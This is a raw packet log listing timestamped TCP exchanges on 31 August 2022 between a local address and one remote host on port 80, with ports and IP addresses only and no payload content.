Aug 31, 2022 08:34:30.552504063 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.552516937 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.552537918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.552551985 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.552581072 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.552659988 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.552958965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.552988052 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553003073 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553039074 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.553164005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553185940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553200960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553242922 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.553467035 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553502083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553515911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553554058 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.553664923 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553702116 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553716898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553755999 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.553971052 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.553992987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.554008007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.554039001 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.554183006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.554219961 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.554234028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.554270983 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.554491997 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.554514885 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.554528952 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.554567099 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.554661989 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.554707050 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.554719925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.554757118 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.726619005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.726650953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.726667881 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.726687908 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.726706028 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.726712942 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.726730108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.726875067 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.727006912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727030039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727044106 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727085114 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.727252007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727272987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727287054 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727324963 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.727494955 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727549076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727562904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727605104 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.727826118 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727847099 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727860928 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.727890015 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.727946997 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.728041887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.728058100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.728104115 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.728159904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.728214025 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.728228092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.728250980 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.729892015 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.729921103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.729935884 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730000019 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.730005026 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730042934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730057001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730106115 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.730361938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730384111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730398893 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730426073 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.730480909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730503082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730516911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730554104 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.730863094 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730885029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730899096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.730937958 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.730942011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731002092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731018066 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731044054 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.731286049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731312037 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731326103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731370926 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.731391907 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731412888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731426001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731479883 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.731750011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731770992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731784105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731812954 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.731856108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731882095 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731895924 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.731933117 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.732508898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.732531071 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.732544899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.732592106 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.732680082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.732701063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.732716084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.732744932 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.733321905 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733361006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733374119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733398914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733419895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733421087 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.733433962 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733469963 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.733761072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733800888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733814001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733839035 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733856916 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.733870029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733886003 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.733907938 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.734447002 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.734469891 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.734499931 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.734568119 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.734571934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.734591961 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.734606981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.734646082 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.734987020 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735008001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735022068 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735084057 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.735284090 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735310078 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735323906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735394955 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.735399961 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735423088 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735438108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735466957 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.735522985 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735558987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735580921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735619068 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.735868931 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735892057 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735905886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.735940933 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.735960960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736000061 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736021996 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736057043 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.736366987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736390114 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736403942 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736438990 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.736439943 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736516953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736546993 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736582041 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.736929893 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736953020 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736968994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.736999035 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.737004995 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.737042904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.737072945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.737112045 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.737354040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.737406015 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.737421036 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.737459898 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.737549067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.737571001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.737585068 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.737622976 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.738358021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.738389015 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.738403082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.738446951 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.738451004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.738491058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.738503933 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.738540888 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.739053965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739078999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739093065 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739145041 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.739156961 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739180088 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739195108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739233017 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.739507914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739528894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739543915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739584923 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.739768982 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739790916 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739805937 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739835978 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.739893913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739919901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739933968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.739972115 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.740042925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.740063906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.740077972 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.740118027 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.740364075 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.740485907 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.740564108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.740578890 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.740611076 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.740803003 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.740843058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.740858078 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.740896940 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.741214991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.741241932 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.741256952 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.741293907 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.741403103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.741439104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.741452932 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.741511106 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.741796970 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.741817951 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.741832018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.741862059 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.742038012 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742060900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742074966 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742113113 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.742294073 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742362976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742377043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742404938 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.742523909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742544889 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742558956 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742595911 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.742881060 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742902994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742917061 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.742950916 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.743117094 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.743139982 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.743154049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.743212938 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.743372917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.743395090 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.743424892 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.743535042 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.743586063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.743606091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.743621111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.743652105 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.743940115 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.743961096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.743974924 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.744015932 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.744199991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.744220972 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.744235039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.744263887 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.744585991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.744606972 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.744620085 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.744661093 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.744703054 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.744733095 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.744746923 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.744782925 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.745050907 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745080948 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745095015 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745126009 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.745307922 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745330095 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745343924 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745381117 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.745580912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745608091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745623112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745659113 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.745798111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745835066 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745848894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.745894909 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.746169090 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746191025 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746203899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746242046 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.746325016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746366024 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746387959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746423960 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.746646881 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746669054 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746682882 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746722937 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.746886969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746923923 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746947050 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.746992111 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.747168064 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.747189045 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.747204065 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.747243881 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.747325897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.747410059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.747426033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.747464895 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.747644901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.747679949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.747694969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.747735023 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.747885942 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.747942924 CEST	80	49763	85.209.157.230	192.168.2.3
